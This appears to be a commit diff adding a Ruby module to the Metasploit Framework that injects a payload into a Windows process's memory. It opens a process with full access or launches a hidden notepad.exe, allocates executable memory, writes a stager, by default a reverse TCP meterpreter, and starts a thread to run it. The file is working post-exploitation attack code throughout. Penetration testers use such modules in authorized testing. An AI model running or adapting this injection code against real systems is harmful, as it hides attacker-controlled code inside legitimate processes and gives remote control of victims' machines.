1
+ ##
2
+ # ## This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/
6
+ ##
7
+
8
+ require 'msf/core'
9
+ require 'rex'
10
+ require 'msf/core/exploit/exe'
11
+
12
+ class Metasploit3 < Msf ::Exploit ::Local
13
+ Rank = ExcellentRanking
14
+
15
+ def initialize ( info = { } )
16
+ super ( update_info ( info ,
17
+ 'Name' => 'Windows Manage Memory Payload Injection' ,
18
+ 'Description' => %q{
19
+ This module will inject a payload into memory of a process. If a payload
20
+ isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID
21
+ datastore option isn't specified, then it'll inject into notepad.exe instead.
22
+ } ,
23
+ 'License' => MSF_LICENSE ,
24
+ 'Author' =>
25
+ [
26
+ 'Carlos Perez <carlos_perez[at]darkoperator.com>'
27
+ ] ,
28
+ 'Platform' => [ 'win' ] ,
29
+ 'SessionTypes' => [ 'meterpreter' ] ,
30
+ 'Targets' => [ [ 'Windows' , { } ] ] ,
31
+ 'DefaultTarget' => 0 ,
32
+ 'DisclosureDate' => "Oct 12 2011"
33
+ ) )
34
+
35
+ register_options (
36
+ [
37
+ OptInt . new ( 'PID' , [ false , 'Process Identifier to inject of process to inject payload.' ] ) ,
38
+ OptBool . new ( 'NEWPROCESS' , [ false , 'New notepad.exe to inject to' , false ] )
39
+ ] , self . class )
40
+ end
41
+
42
+ # Run Method for when run command is issued
43
+ def exploit
44
+ @payload_name = datastore [ 'PAYLOAD' ]
45
+ @payload_arch = framework . payloads . create ( @payload_name ) . arch
46
+
47
+ # syinfo is only on meterpreter sessions
48
+ print_status ( "Running module against #{ sysinfo [ 'Computer' ] } " ) if not sysinfo . nil?
49
+
50
+ pid = get_pid
51
+ if not pid
52
+ print_error ( "Unable to get a proper PID" )
53
+ return
54
+ end
55
+
56
+ if @payload_arch . first =~ /64/ and client . platform =~ /x86/
57
+ print_error ( "You are trying to inject to a x64 process from a x86 version of Meterpreter." )
58
+ print_error ( "Migrate to an x64 process and try again." )
59
+ return false
60
+ else
61
+ inject_into_pid ( pid )
62
+ end
63
+ end
64
+
65
+ # Figures out which PID to inject to
66
+ def get_pid
67
+ pid = datastore [ 'PID' ]
68
+ if pid == 0 or datastore [ 'NEWPROCESS' ] or not has_pid? ( pid )
69
+ print_status ( "Launching notepad.exe..." )
70
+ pid = create_temp_proc
71
+ end
72
+
73
+ return pid
74
+ end
75
+
76
+
77
+ # Determines if a PID actually exists
78
+ def has_pid? ( pid )
79
+ procs = [ ]
80
+ begin
81
+ procs = client . sys . process . processes
82
+ rescue Rex ::Post ::Meterpreter ::RequestError
83
+ print_error ( "Unable to enumerate processes" )
84
+ return false
85
+ end
86
+
87
+ pids = [ ]
88
+
89
+ procs . each do |p |
90
+ found_pid = p [ 'pid' ]
91
+ return true if found_pid == pid
92
+ end
93
+
94
+ print_error ( "PID #{ pid . to_s } does not actually exist." )
95
+
96
+ return false
97
+ end
98
+
99
+ # Checks the Architeture of a Payload and PID are compatible
100
+ # Returns true if they are false if they are not
101
+ def arch_check ( pid )
102
+ # get the pid arch
103
+ client . sys . process . processes . each do |p |
104
+ # Check Payload Arch
105
+ if pid == p [ "pid" ]
106
+ vprint_status ( "Process found checking Architecture" )
107
+ if @payload_arch . first == p [ 'arch' ]
108
+ vprint_good ( "Process is the same architecture as the payload" )
109
+ return true
110
+ else
111
+ print_error ( "The PID #{ p [ 'arch' ] } and Payload #{ @payload_arch . first } architectures are different." )
112
+ return false
113
+ end
114
+ end
115
+ end
116
+ end
117
+
118
+ # Creates a temp notepad.exe to inject payload in to given the payload
119
+ # Returns process PID
120
+ def create_temp_proc ( )
121
+ windir = client . fs . file . expand_path ( "%windir%" )
122
+ # Select path of executable to run depending the architecture
123
+ if @payload_arch . first == "x86" and client . platform =~ /x86/
124
+ cmd = "#{ windir } \\ System32\\ notepad.exe"
125
+ elsif @payload_arch . first == "x86_64" and client . platform =~ /x64/
126
+ cmd = "#{ windir } \\ System32\\ notepad.exe"
127
+ elsif @payload_arch . first == "x86_64" and client . platform =~ /x86/
128
+ cmd = "#{ windir } \\ Sysnative\\ notepad.exe"
129
+ elsif @payload_arch . first == "x86" and client . platform =~ /x64/
130
+ cmd = "#{ windir } \\ SysWOW64\\ notepad.exe"
131
+ end
132
+
133
+ begin
134
+ proc = client . sys . process . execute ( cmd , nil , { 'Hidden' => true } )
135
+ rescue Rex ::Post ::Meterpreter ::RequestError
136
+ return nil
137
+ end
138
+
139
+ return proc . pid
140
+ end
141
+
142
+ def inject_into_pid ( pid )
143
+ vprint_status ( "Performing Architecture Check" )
144
+ return if not arch_check ( pid )
145
+
146
+ begin
147
+ print_status ( "Preparing '#{ @payload_name } ' for PID #{ pid } " )
148
+ raw = payload . generate
149
+
150
+ print_status ( "Opening process #{ pid . to_s } " )
151
+ host_process = client . sys . process . open ( pid . to_i , PROCESS_ALL_ACCESS )
152
+ if not host_process
153
+ print_error ( "Unable to open #{ pid . to_s } " )
154
+ return
155
+ end
156
+
157
+ print_status ( "Allocating memory in procees #{ pid } " )
158
+ mem = host_process . memory . allocate ( raw . length + ( raw . length % 1024 ) )
159
+
160
+ # Ensure memory is set for execution
161
+ host_process . memory . protect ( mem )
162
+
163
+ print_status ( "Allocated memory at address #{ "0x%.8x" % mem } , for #{ raw . length } byte stager" )
164
+ print_status ( "Writing the stager into memory..." )
165
+ host_process . memory . write ( mem , raw )
166
+ host_process . thread . create ( mem , 0 )
167
+ print_good ( "Successfully injected payload in to process: #{ pid } " )
168
+
169
+ rescue Rex ::Post ::Meterpreter ::RequestError => e
170
+ print_error ( "Unable to inject payload:" )
171
+ print_line ( e . to_s )
172
+ end
173
+ end
174
+
175
+ end
0 commit comments